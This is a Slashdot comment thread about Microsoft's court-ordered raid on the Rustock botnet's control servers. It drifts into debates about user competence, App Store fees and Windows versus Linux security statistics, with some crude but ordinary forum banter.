The summary is actually reasonably worded for a change (although not entirely accurate). This raid happened as part of a civil lawsuit filed by Microsoft againt the operators of this botnet. Microsoft obtained a court order for the seizure of certain computers within these various facilities. They sent out a taskforce who were accompanied by U.S. Marshalls. This appears to be a perfectly legitimate action where Microsoft presented sufficient evidence in court to seize these assets and then worked with law enforcement to do so.

Re:An innocent guy was arrested as usual.

[andrea.sartori]

I bet it links to goatse. Was it part of the test?

Re:Who "entered" the facilities?

[Medinos]

I was once in an office raided by the FDA and local police. The person who was working with them on the case walked in behind and showed them what they needed. So if Microsoft was any part of the raiding party, their representative simply walked in behind them and did any "consultant work" that was requested by the authorities.

Scranton?

[smooth wombat]

So that's why Micheal left. He knew the Feds were closing in.

Re:microsoft is incompetent

[dannymac63]

Wonder why you've never seen a spam message in your GMail box? They've spend MILLIONS of dollars to make sure of it. And they still can't be 100% accurate.

You're pretty incompetent if you think GMail's servers don't have to handle incoming spam at a cost to Google.

It's amazing how foolish the Slashdot community has become.

Re:Corporatism

[trollertron3000]

Only a dumb fuck would say taking down a botnet is a bad thing.

Re:An innocent guy was arrested as usual.

[cpu6502]

You're a bastard. You should have labeled it "NSFW" or "nudity" rather than than to get people fired off their jobs.

Re:Corporatism

[Attila Dimedici]

These raids were conducted pursuant to a court order issued in relation to a lawsuit filed by Microsoft. So, no, there was nothing wrong with Microsoft employees taking part in this raid.

Suborned?

[skogs]

Suborned? Really? I had to look it up. freedictionary says: 1. To induce (a person) to commit an unlawful or evil act.
Was this supposed to be subordinate or simply sub machines?
I prefer minions myself.

Re:Suborned?

[JSBiff]

Well, since the control servers which were siezed sent the commands to the zombies which caused them to commit unlawful acts, I think suborned is probably appropriate.

Re:Suborned?

[h4rm0ny]

Suborned? Really? I had to look it up. freedictionary says: 1. To induce (a person) to commit an unlawful or evil act.

Ahhh, you learned a new word - don't complain! ;)

Too true

[Kupfernigk]

I completely agree. For the great majority of users, computers have become just too complicated and confusing to operate, and the great majority of users are also stupid. Microsoft is part of the problem because, in its effort to gain consumer market share, it has just allowed those users to do far too much, in ignorance.

The same thing happened with cars; when they were rare and and expensive, the people who bought them either employed someone to drive them or were sufficiently interested to learn to do it properly themselves. When the mass market really took off, driving licences followed, along with compulsory insurance. But, at the same time, the "user interface" got simplified and standardised.

The iPad, or a laptop equivalent, is what most people actually want. But Microsoft's entire consumer business model is currently based around not giving it to them. It looks as if we are going to have to rely (currently) on Apple, HP and perhaps Motorola to come up with a reasonably secure solution to letting the monkeys into the banana plantation, since most of us are never going to be in a position to force them to use Windows 7 with a non-Administrator account.

Re:Too true

[ciderbrew]

I would mod you troll or flamebait for a comment like "great majority of users are also stupid"; but the rest of what you wrote is right. These people are not stupid, they just have interests other than computers. I've no idea what that may be; but they seem to have them.

Re:Too true

[recoiledsnake]

I completely agree. For the great majority of users, computers have become just too complicated and confusing to operate, and the great majority of users are also stupid. Microsoft is part of the problem because, in its effort to gain consumer market share, it has just allowed those users to do far too much, in ignorance.

The same thing happened with cars; when they were rare and and expensive, the people who bought them either employed someone to drive them or were sufficiently interested to learn to do it properly themselves. When the mass market really took off, driving licences followed, along with compulsory insurance. But, at the same time, the "user interface" got simplified and standardised.

The iPad, or a laptop equivalent, is what most people actually want. But Microsoft's entire consumer business model is currently based around not giving it to them. It looks as if we are going to have to rely (currently) on Apple, HP and perhaps Motorola to come up with a reasonably secure solution to letting the monkeys into the banana plantation, since most of us are never going to be in a position to force them to use Windows 7 with a non-Administrator account.

I call BS. Anytime MS even tries to look at that route, Slashdot screams bloody murder.

Read the comments:

http://tech.slashdot.org/article.pl?sid=09/02/16/2259257
http://it.slashdot.org/story/08/07/30/204241/Dual-Boot-Not-Trusted-Rejected-By-Vista-SP1

And the iPad comes with a 30% tax on developers and services like Netflix which they or users have to pay. Do you want a future where companies can reject their competitors' apps 'just because' ? See what happened to Google Voice on the app store, and how an Android magazine app was banned. Do you really want to go that route? There would be no Firefox or Chrome, or even podcast players for 'duplicating functionality' because that would confuse users.

Re:Too true

[Anonymous Coward]

Have you ever tried using Windows with a non-administrator account? I do it on my living room PC - it's a miserable existence with catch 22 update scenarios where you must be an administrator to do something, so you have to log out, log in as admin, give the account admin access, log out, log in to the temporarily admin enabled account, do the update, reboot, log out, log in as admin, remove admin access from the account, log out and log in again... once a week if you keep up with all the updates.

Wonder why people don't keep up with all their updates?

Re:Too true

[h4rm0ny]

For the great majority of users, computers have become just too complicated and confusing to operate,

I think a part of that is people just don't accept that they have to learn how to use a computer. If they actually accepted that maybe they couldn't just sit in front of this complicated piece of equipment and magically do everything, then perhaps they'd take a few moments to think or read about it and then it wouldn't be so complicated and confusing to them.

There was someone extremely irritating at a place I worked some years ago, who asked me to help them line up the paragraphs in Word (some older version than the latest). After helpfully pressing a few buttons to line things up on the left again, accompanied by the cooing wonder of this ...person... and their inane comments of "oh, I'm so bad at computers", I made the mistake of pointing out the Help option in Word and saying: "you know, there's documentation on this. It would be worth taking an hour to read through it all.". Instant snappy nastiness ensued. I seemed to have called them a liar when they said that they were bad with computers and somehow implied that it was their fault. Goodness me! How dare I?

If someone who uses Word every working day of their life can't be bothered to spend an hour (less, really) reading through a little bit of documentation or a tutorial, then what hope is there? Must we all suffer from locked down, dumbed down systems because some people expect everything in life to be super-easy?

I see the point you're making. I fully understand it. But those of us who actually use our brains despise a looming future in a world where we're not able to because some people might injure themselves if they tried.

Re:Too true

[LO0G]

This is on Vista or Windows 7? Most of those issues should be fixed in Vista.

If you're still running XP, you should check out the MakeMeAdmin script. It makes this *way* easier.

Re:Too true

[DisKurzion]

Incorrect. Vast majority of users are stupid, because they fall for the same tricks over and over and over again.

Is someone who crashes their car while texting stupid? Not necessarily.
If, after getting into an accident because of texting, they continue to text while driving? Then I have to question their intelligence.

Face it...computers are no longer just an interest. Anybody who uses a computer for more than 5 hours a week should be competent enough to avoid the vast majority of attacks. The fact that the most basic of exploits are still usable is a sign of widespread stupidity.

If people weren't stupid, Nigerian email spammers wouldn't exist, because nobody would fall for their scam. I met someone who lost $2,000 to an email scam. I would not hesitate for a second to call her an idiot.

Re:Too true

[suomynonAyletamitlU]

These people are not stupid, they just have interests other than computers.

Agreed. Computer enthusiasts forget how much effort went into learning how to interface with computers without problems. Unfortunately, when you try to explain it to someone who doesn't want to spend months or years learning, an endless stream of "All you have to is A, all you have to do is B, all you have to do is C" for the simplest concepts is a source of frustration.

The biggest problem, I imagine, is that when they ask for assistance, they aren't wanting or attempting to learn something complex, they're looking for a 1-4 step process that will accomplish some particular goal. Likely, the same attitude would lead to people who are incompetent with other machinery and animals, because they all require attention and a willingness to give. And unfortunately, there are people who are into animals or machinery but not computers, or computers but neither of those, etc.

Re:Too true

[pauljlucas]

And the iPad comes with a 30% tax on developers...

And developers don't have to pay anything for the bandwidth to have their app downloaded; nor do they have to with companies like Digital River and pay them a percentage of sales; nor do they have to try to get into various distribution channels since they're included in the now de-facto standard distribution channel for all Macs. Developers are getting something in return for that 30%. Also, for free apps, 30% of $0 is $0.

Do you want a future where companies can reject their competitors' apps 'just because' ?

No, I don't, so I will agree with you on that point.

Re:Too true

[recoiledsnake]

And the iPad comes with a 30% tax on developers...

And developers don't have to pay anything for the bandwidth to have their app downloaded; nor do they have to with companies like Digital River and pay them a percentage of sales; nor do they have to try to get into various distribution channels since they're included in the now de-facto standard distribution channel for all Macs. Developers are getting something in return for that 30%. Also, for free apps, 30% of $0 is $0.

Your point would be more valid if it was an optional thing instead of forced. Then people would've gone to the best choice.If Digital River changed to take only 10%, some developers might go there putting pressure on Apple. But there's nothing of that sort allowed.

And maybe you missed the latest news ?
http://www.washingtonpost.com/wp-dyn/content/article/2011/02/19/AR2011021902399.html

They provide nothing of what you said for in app subscriptions(except exposure), but they still want a 30% cut of revenue. You know what would happen to Apple if someone took 30% of their revenue? They would end up with billions in loss per quarter.

Re:Too true

[DarwinSurvivor]

You'll notice the parent didn't mention anything about locked down app-stores, just bare simplicity. Nokia had it right on their tablets (n770-n900) when they implemented linux's repository system. There were free apps available instantly and you could add ANY repository you felt like. It gave the simple users something simple to use for installing apps, yet still left it wide open for the curious ones to experiment.

Re:Too true

[tlhIngan]

And the iPad comes with a 30% tax on developers and services like Netflix which they or users have to pay.

Sigh. People keep spouting such untruths that it's increditble.

The 30% tax applies only on on-device subscriptions. How they generalize "I subscribe to service on my iDevice" to "I subscribe to service" is... incredible.

If you subscribe to Netflix via the iDevice app then yes, Apple takes their 30% cut, as Apple brought you a subscriber. Think of it as a referral fee.

If you subscribe to Netflix via the web, then use the iDevice app to access your account, Apple gets nothing because they didn't bring a subscriber to you.

Put another way, the only way you can pay for stuff (goods or services) on an iDevice is via Apple's payment service, and Apple will take a 30% cut via that mechanism. If you get the user to pay for a good or service outside of the iDevice, then Apple won't get their cut.

Re:Too true

[E-Rock]

I've seen people who got infected from an e-mail, with a password protected zip file. They had to copy the file, open it, enter the password, then run the file in there, then click through UAC, then got infected.

There is no level of technical protection that can protect that user.

Re:Too true

[Cederic]

Sigh. People keep spouting such untruths that it's increditble.

Except that for people subscribing to Netflix via an idevice, it is true.

Apple are exploiting a monopoly position they've artificially created on their devices. Why are you getting so frustrated at people highlighting this?

Re:Too true

[KingMotley]

Using your logic, the lady who lost $2,000 to an email scam isn't an idiot. Not until she loses $2,000 to another email scam to the same guy.

Re:Too true

[KingMotley]

Yes, I do it every single day, every day. Have you ever tried upgrading from a 10+ year old OS or are you going to continue complaining that Fords suck because you STILL can't get your model T up to highway speeds.

Re:Too true

[DavidTC]

As I've said before, most of my 'diagnosing problems' has nothing to do with any special knowledge I have...it's my willingness to google the damn problem, plus maybe having learned a couple of hours' worth of vocabulary. (Which is also googleable.)

People ask me stuff like 'How do I make a table in Word?' 'Well, I have no fucking idea, I don't ever use Word, but, let's hover over this button, nope, this one, maybe, *click*, nope, this one, okay, *click* there we go, how big?'

Same with email. People ask me how to do make an attachment in their gmail. 'I haven't memorized gmail's interface, have you looked for a place that says attach?' 'Oh, there it is, now where are my files?' 'I have no idea, it's your computer. Perhaps you are keeping them in the My Documents folder, that seems to be a popular choice?' 'Oh, there they are.' It's not so much 'solving problems' as 'doing the next fucking obvious thing'.

'Being good with computers' appears to be a very small amount of knowledge, essentially a single cheat sheet on each concept like 'email'. Something that, like you said, can be easily found in the help system or online or even in a textbook. Plus a willingness to actually figure the problem out instead of just giving up because 'you don't know how'.

That said, I have to disagree with you. I think Windows computers should be 'locked down' on what they can install, just like Linux ones are. That is, they should come with some 'software repositories', and programs downloaded from elsewhere shouldn't be executable without manually changing the properties. This repository listing, and one of the repositories, should be operated by a non-profit thing funded by large software companies, but should be fairly easy to get your software into the public repository, and moderately easy to get your own repository in. (Which would be for people selling software.) And you can make 'Download' links on web pages that send people there.

People who know things about computers would have no problem with that system, and could override it if they want, but everyone else would quickly get trained 'How you install software is to bring up Install Software and select it from the list', instead of being trained that 'downloading and double clicking' is a method for that.

Re:Too true

[Em Adespoton]

This sounds good, but the vast majority of cases where a botnet is installed on a computer has nothing to do with the interface, and everything to do with the user being gullible. The same person will click OK to install a botnet client as the one who will answer a "telephone survey" by a group casing a neighbourhood to steal valuable items. In both cases, the same group will go ahead and do it again after the first mess has been cleaned up.

It's a social issue, not a technological issue. Sure, there's also the crowd that's still running WIndows 98 and gets infected by drive-by malware and doesn't realize it -- these people are often intelligent and are simply ignorant of the "restrict, patch, protect, avoid" rules of using computers. But once they understand what's happened, the intelligent people will likely attempt to find a way to avoid it happening again, even if this meant disconnecting their computer from the internet.

Re:Too true

[Em Adespoton]

s/computer/car

Re:Too true

[Jay L]

For the great majority of users, computers have become just too complicated and confusing to operate

I think a part of that is people just don't accept that they have to learn how to use a computer

I think another part of that is that techies don't accept that people don't accept that they have to learn a computer. Techies know this, but all we do is complain about it. No?

Re:Too true

[QuoteMstr]

Why should people have to learn "how to use" computers? A person can spend that time playing with his kids, learning to play the violin, or hiking through Inner Mongolia. We have a finite number of hours on this earth: why waste them learning about the inner details of an appliance?

Re:Too true

[recoiledsnake]

>>If you subscribe to Netflix via the iDevice app then yes, Apple takes their 30% cut, as Apple brought you a subscriber. Think of it as a referral fee.

I know lots of people bought an iPad just to watch Netflix and read Kindle books. Can they demand that Apple give 30% of the iPads retail price as a referral price to them if the user logs in those apps with pre-existing Kindle/Netflix accounts within a day of the purchase? Why or why not?

Face it, Apple receives a big benefit from having such apps in the app store, and without them the iDevices will be a lot less attractive for consumers. But they're trying to light the candle on both ends of the stick... just like Comcast etc. with Net neutrality.

And due to Apple's rules of having the same price in-app, this can increase prices for everyone, not just people using Apple products.

Re:Too true

[h4rm0ny]

I don't believe a lot of time is required to massively improve ones knowledge of the tools we use. There are legions of people out there who use Word everyday and yet week after week still shuffle round to the "computer person" to ask how to get something lined up, add a table or put an image in the document. Just an hour of reading the documentation and being willing to actually try clicking a button would improve their experience massively. That's not going to take away from their time learning the violin or playing with their kids in the grand scheme of things. In fact, I'd go so far as to say they could probably throw in an hour or two of learning Excel, or how to move files around, rename them etcetera.

I care because currently we have two forces: powerful computer interfaces and ignorant people. The two are naturally distant and if one doesn't move, then the other must. And for the sake of all of us, I would like it to be the people. My view of someone who sits in front of a complicated program like a word processor and refuses to take a modicum of time and effort to learn how to use it, is that they are like a baby going "waaaaaah". I have little respect for their attitude. If someone is genuinely mentally challenged, then I can be incredibly patient with teaching them or helpful in assisting them. But wilful ignorance? It is not harmless - it distorts things for the rest of us.

I don't ask people to write their letters in LaTex. I just want a little acceptance that some things take effort to do well. The person hiking through Mongolia or learning the violin? I reckon they're not the one's I'm worried about. It's the ones that would rather not do anything that tend to have the most trouble with computers.

Re:Too true

[h4rm0ny]

I think another part of that is that techies don't accept that people don't accept that they have to learn a computer. Techies know this, but all we do is complain about it. No?

I am exceedingly nice and helpful when someone needs assistance, but I always take extra time to explain what I'm doing whether they want me to or not. If they keep asking for assistance, it becomes quickly clear to them that their ignorance is not an amusing character trait, but something that annoys people in the year 2011. The sole exception is when someone cute is asking me over to help because they fancy me. These people get a tolerance allowance. But nobody else!

Re:Too true

[Ol Olsoc]

Because you waste a whole lot of time needing to have someone else show you how to set the tabs on your computer. It's a false dilemma anyhow. Knowing how to operate one piece of machinery does not keep you from hiking inner Mongolia. It's like the person who has to call a Wrecker to change their tire when they get a flat on the highway. You sit there with your arms crossed, and wait an hour, then pay someone to do what you could have done in ten minutes.

Now for a Simpson's reference about how much knowledge the mind can hold:

Homer: "But Marge, Every time I learn something new, it pushes something else out of my brain! Remember when I bought that wine making kit? I forgot how to drive!"

Marge: "Oh Homie, you were Drunk!"

Homer: "And HOW!"

Are there mod points for having two car analogies and a Simpson's reference in one post? I mean someone should be keeping track of this stuff.

Re:YAY! I mean BOO microsoft! I mean YAY! good wor

[h4rm0ny]

Perhaps you should total up the good and bad deeds MS do (quantifying your feelings of loss for WordPerfect et al as appropriate) and pro-rata your emnity. So for example, on 350 days of the year, you might damn MS on Slashdot, but on the remaining 15 days of the year, you refrain or post about the Gates Foundations charity donations or something.

I guess on leap years, you could get an extra day to go out and not post on Slashdot or something. ;)

No

[Kupfernigk]

It was under 90 years ago, and in any case the point there was that corporations were part of the State. In this case, the corporation applied to the Government for authorisation and the police supervised it. Under Fascism, the Government would have instructed Microsoft to carry out the raid. See the difference?

Perhaps you should upgrade your nick to a more modern CPU.

Destroying the botnet

[Conspiracy_Of_Doves]

Now that they have control of it, can they send the infected computers orders to delete the malware that makes them part of the botnet?

Also, even though that would be a Good Thing, are there legal implications in doing so?

Re:Destroying the botnet

[Dan541]

Order the infected computers to attack 127.0.0.1

Re:Destroying the botnet

[hduff]

Now that they have control of it, can they send the infected computers orders to delete the malware that makes them part of the botnet?

Also, even though that would be a Good Thing, are there legal implications in doing so?

Probably, but who would care?

"Can you re-enable the malware so I can get my spinng cursor back?", clueless grandma ---- IGNORE
"My entire network crashed when you disabled infected computers." , lazy sysadmin ---- FIRE
"Our entire security and defense network crashed", M. Khadaffi ---- DERP

Re:Destroying the botnet

[Conspiracy_Of_Doves]

I was thinking more along the lines of sleazy lawyers who would try to bring any possible case to court, like saying that the government should have gone about it some other way rather than "hacking" into thousands of American's computers.

Re:An innocent guy was arrested as usual.

[Dan541]

Perhaps you shouldn't be reading /. at work!

Just a thought.

MS

[theBully]

It's interesting how difficult is for Microsoft to get recognition for anything they do to improve from the tech savvy communities. When they take a positive step people do nothing but look for ulterior motives that would only point out that Microsoft did the good with an evil purpose. Let's stop for a moment and give them credit for what they really do. Many people in this post have asked what right had Microsoft to participate in the whole deal or whether it served some interest for them. The way I see it is they helped stop a major issue without installing some ugly piece of software to all their users. Well done.
It's also unfair to blame all these issues on their OS security. I am the first to say that up to Windows 2000 (including) they had major security issues. In fact, W2K was the first release where they tried being more cautious. (I am speaking about the Desktop and not the Server). Everyone complained about access as administrator being dangerous. I know lot's of people that used the Administrator account on their home machine so that they can easily install software and change settings without the hassle of logging in and out. I do know Linux users who used the root account. Despite everyone saying: Do not login as root/Do not login as Administrator. Microsoft finally got UAC up and running and everyone criticized them that the system is now asking for permissions for any step. Is that fair? Is my Ubuntu system not asking me for my password every time I perform administrative tasks? Yes it does. And I'm happy about that. It's good. And the same goes for UAC. Yet, most seem to think it's stupid if Microsoft did it. Most seem to fail to see that Linux users don't get their Windows boxes infected either. Why? Because most Linux users are savvy enough.
I have an open question to anyone here:
Identify one of the software architecture flaws in Windows that make it insecure and how would you fix it?

Re:MS

[lwriemen]

Identify one of the software architecture flaws in Windows that make it insecure and how would you fix it?

... and we can all do this because Microsoft has made the Windows architecture documentation freely available along with the source code to ensure that the architecture documents are actually correct???

You must be new here...

[recoiledsnake]

http://www.cultofmac.com/did-apple-order-cops-to-raid-gizmodo-editors-house/40211

Re:Corporatism

[heathen_01]

Damn strait!. The end always justifies the means.

I don't understand... just follow the money...

[BlueCoder]

All you need to do is actually buy something from spam. Whomever takes the money and where is goes should tell you who did the spamming. Buy stuff from multiple email and triangulate who is doing what. I would think Visa and Mastercard in cooperation with the big banks could track down everyone profiting.

I think it's reasonable cause that if you profit from spam your probably paying for it somehow and should be enough to get your financial records.

Re:I don't understand... just follow the money...

[oh-dark-thirty]

"I would think Visa and Mastercard in cooperation with the big banks could track down everyone profiting."

You actually answered your own question...since Visa/MC and the banks are also profiting from the spammers activity, they are complicit and just as guilty. If anyone thinks for one second that the financial system doesn't turn a blind eye to this activity, they haven't been paying attention.

Re:I don't understand... just follow the money...

[h4rm0ny]

I'm not fully convinced of that. Buy something from a spam email and there's a good chance you'll be defrauded. Which creates problems for the credit card companies. I got a couple of fraudulent charges to a card of mine once (and I'm careful with mine) so I'm guessing it was a compromised shop database somewhere. The company called me up quickly and cancelled the payment and I got my money back. To do that, they must be spending a fair amount of money on anti-fraud. Anything that helps them cut down on that cost is probably going to be something they're in favour of. There might be a lot of money in spam from an individuals' point of view, but as a slice of the overall transactions the credit card companies and banks deal with, it's a petty little thing.

Re:I don't understand... just follow the money...

[oh-dark-thirty]

There is some merit to that argument, but the cc companies including the banks and processors don't really care unless the chargeback (aka fraud) level reaches a certain percentage of sales for a given merchant account. The people that are buying v14gr4 and See Alice from the spammers are there willingly and would probably not even bother to report getting fake drugs, etc. just out of sheer embarrassment. Imagine the conversation with the CSR when you're trying to explain that to your bank. Not to mention most of these operations are run out of non-US locations with no incentive to cooperate with anyone outside of their jurisdiction.

Re:Who "entered" the facilities?

[Xest]

I dunno, the idea of Steve Ballmer running into a hosting facility swinging a chair around kinda has me in stitches.

Please say it's true.

And that there's a video.

That was the first sane post in this thread

[Shompol]

Thank you! I just gave up my mod points, unfortunately.

Re:That was the first sane post in this thread

[h4rm0ny]

I'm pretty sure he was being being funny, actually.

What about the actual bots?

[DCFusor]

Were I doing this, the first thing I'd do wouldn't be to "seize" the control machines, but watch a little while and find out some information on all the bots themselves. You know, the information needed to really fix the problem for good. Not just shut down a controller. If the machines are really compromised, surely the control machines can in some way shut down the bots by other than just stopping telling them spam to send. Does the malware have the ability to upgrade on command? I'd put that in if I were writing it. Could that ability be used to patch it to neutralize it, or send a real security patch down the wire?

Seems to me like leaving all those infected machines in the wild and most likely unknown to their owners is not really solving the problem except temporarily.

I really don't like the idea of remote bricking of someone's machine. But I could get interested in the idea of having it put up a big flashing red window that wouldn't go away until some (free) patch from MS was applied.

It'd also be great research to know/identify the stupids, though less valuable than the far shorter list of good users.

Re:What about the actual bots?

[_0xd0ad]

Does the malware have the ability to upgrade on command? I'd put that in if I were writing it. Could that ability be used to patch it to neutralize it, or send a real security patch down the wire?

Running unauthorized code on someone's computer without their permission is illegal, even if you're doing it for a "good" reason. If they could figure out how to hook it into a Windows Update, that might work, but Windows Update is specifically authorized by the user and random botnet backdoor isn't.

Comment removed

[account_deleted]

Comment removed based on user account deletion

Well its about time...

[hesaigo999ca]

I guess maybe that now they realize people just wont pay for their updates and patches anymore, and do not care to upgrade, they have not choice but to pro bono this move to help with the spamming situation. I applaud their effort, but did they have to wait so long?
They have the source code to all this, and could have sent this out 10 years ago to all xp pcs....but i guess they think its all about the green backs now don't they.

I guess I can give them points for making the internet that much safer.

Re:Read this, & take back your words

[GameboyRMH]

I don't care if the shill was right in this case or not - in fact I agree with most of his post (although saying Win7 is as secure as Linux overall (look at the number of infections allowed by IE, and until recently, Autorun), and comparing Linux's to OSX's security, is quite a stretch). But that does not excuse him from being a shill - like I said, look at his post history. I take back nothing I said earlier.

MOD! PARENT! UP!

[sgtrock]

Amen, hallelujah! Somebody actually put their finger on the REAL problem!

Hmmm...weird.

[Unkyjar]

Microsoft doesn't allege in its lawsuit that the Internet hosting companies knew that machines within their facilities were being used as part of Rustock.

Well that was awfully nice of them.

Re:Setting your "facts" straight... apk

[GameboyRMH]

"and until recently, Autorun),l" - by GameboyRMH (1153867) on Friday March 18, @12:03PM (#35531146)

This you could "turn off" for YEARS-TO-DECADES using a simple MS GUI powertoy called "Tweak UI" or by using .reg file merges to do so... easy!

BY THE WAY: THIS ALSO HIT LINUX TOO, see here, recently:

So if Linux came with the root account being accessible via SSH with no password by default until a few months ago, would that be acceptable? It's something you could "TURN OFF" for DECADES using standard tools that come with the OS...

Also I know about the autorun (actually thumbnailer) attacks against Linux, that affects desktop distros (running a GUI) using thumbnailers only (and thumbnailing can be disabled with built-in tools as well, does that mean it's no problem?), and to pull off the hack, AppArmor and ASLR had to be disabled. The exploit shown (unlocking the screen with a flash drive) is practically impossible to pull off in the real world - to exploit the thumbailers at at all, he'd have to generate a massive number of infected files and hope one slips past ASLR.

Oh, really? Would you like me to post a HUGE list I have of both OS' security problems over time?? I can do so, easily... just ask (I'll be waiting)...

I don't deny this so please avoid pasting more walls of text. Even in your post that you linked me to earlier, you show that Linux and OSX have a lower percentage of unpatched vulnerabilities than Windows (and has no remote exploits while Windows has 3), and then you say:

(Now, toss on vulnerabilities in the other parts of Linux that ship with various distros in 3rd party apps, or even native Windows managers or GUI shells (KDE/Gnome/xfce etc./et al)? Well, THEN?? Then, you see that # go up, Up, UP & AWAY... & go even farther past Windows 7 in terms of KNOWN security issues than the kernel of Linux ALONE does already, which is nearly 3x that of Win7 as is, & Windows is a COMPLETE OS, not just a kernel, already!)

Pure speculation. And again in that post, you argue that Windows bugs don't count if there are workarounds, but apparently Linux isn't allowed the same concession.

Re:MS stuff is MORE SECURE than *NIX stuff current

[DavidTC]

Did you just point out that Linux has 6% unpatched security issues compared to 10% in Windows 7? And you thought that was a victory for Windows?

Or were you trying to point out that Windows 7 had a total of 59 security issues, vs. 256 for Linux 2.6? Which is only impressive if you don't know that Windows 7 is a year and half old, and Linux 2.6 is six and a half years old. Statistically, they both have about 40 a year.

Granted, this is a pretty stupid comparison, as not all security vulnerabilities are created equal. Let's check to see what is the most secure unpatched vulnerability:
The most severe unpatched Secunia advisory affecting Microsoft Windows 7, with all vendor patches applied, is rated Highly critical
The most severe unpatched Secunia advisory affecting Linux Kernel 2.6.x, with all vendor patches applied, is rated Less critical.

Hmmm, interesting.

Re:Troll "Spin-CON-Troll" control, by APK... apk

[DavidTC]

BOTH are "Derived" from ancestors reaching back as far as 1992-1994 iirc... so, your point is what?

Yes, moron, and those have bugs also. Which somehow did not make it into your total.

I loved the fact you included IE9, BTW. Wow, something released 4 days ago hasn't had a lot of security issues found yet? Why, that's amazing!

In your very clever system, if the last Linux release had been named '2.7' instead of 2.6.38', Linux 2.7 would be the best OS choice, because it has never had any bugs.

In fact, I don't see why you get to arbitrarily decide the second version number is where you stop. Linux 2.8.38 has never had a security issue, unpatched or otherwise, and hence, by your incredibly stupid math, that makes it the best choice.

In actuality, of course, the comparison would be 'The amount of security issues found over a set period of time, in the current version of Linux compared to the current version of Windows.' Which, I as pointed out, is about 40 every year.

Except Linux patches theirs better. And, of course, as Secrunia themselves says:

PLEASE NOTE: The statistics provided should NOT be used to compare the overall security of products against one another. It is IMPORTANT to understand what the below comments mean when using the statistics, especially when using the statistics to compare the vulnerability aspects of different products.

It's a literary convention

[Kupfernigk]

Then I suggest that you consider that this is Slashdot, not the Journal of Applied Physics or whatever you usually read, and I'm using exaggeration to make a point, in a popular blog. If you consider that to be "troll" or "flamebait", I think you are truly being over-sensitive (but then I check your posting history and realise that it's probably due to your Japanese connections.)

The truth is, in fact, that compared to the intelligence level to be a fully functioning member of our society - politically active, socially responsible, and able to deal with bureaucracy and machinery - the majority of people are insufficiently intelligent. That's not their fault, agreed. We have created a technocratic society and devil take the hindmost. But we let these people play with computers - and they promptly look at gambling sites and pornography and get their computers infected, which costs the rest of us money.

The weight of astroturf

[dhammabum]

I didn't think it would be enough to bring down Slashdot, I was wrong.

It smells, too.

Re:Corporatism

[trollertron3000]

You should probably read the article before talking about thick skulls bud. No private corporation raided anything.

Re:This is long overdue

[hesaigo999ca]

I agree with you, except for one thing, MS at no point in time ever really wanted to take care of the problem, without pushing out valid licenses first to those with pirated copies of xp. This said, I know they have the source code, and can send any commands they want at any time to disable x, y or z....so if they really thought it important, they could have done this 10 years ago.....the fact is, they now realize people will NOT upgrade, or change unless they have too, and people do not have to....so if they really want to fix the problem they have to do it another way (this one).....

I often wondered why MS would not have thought more of security then their payday when it comes to this problem in particular....but now either someone higher up is new and younger and sees the profitability of this move, or they are being forced to indirectly.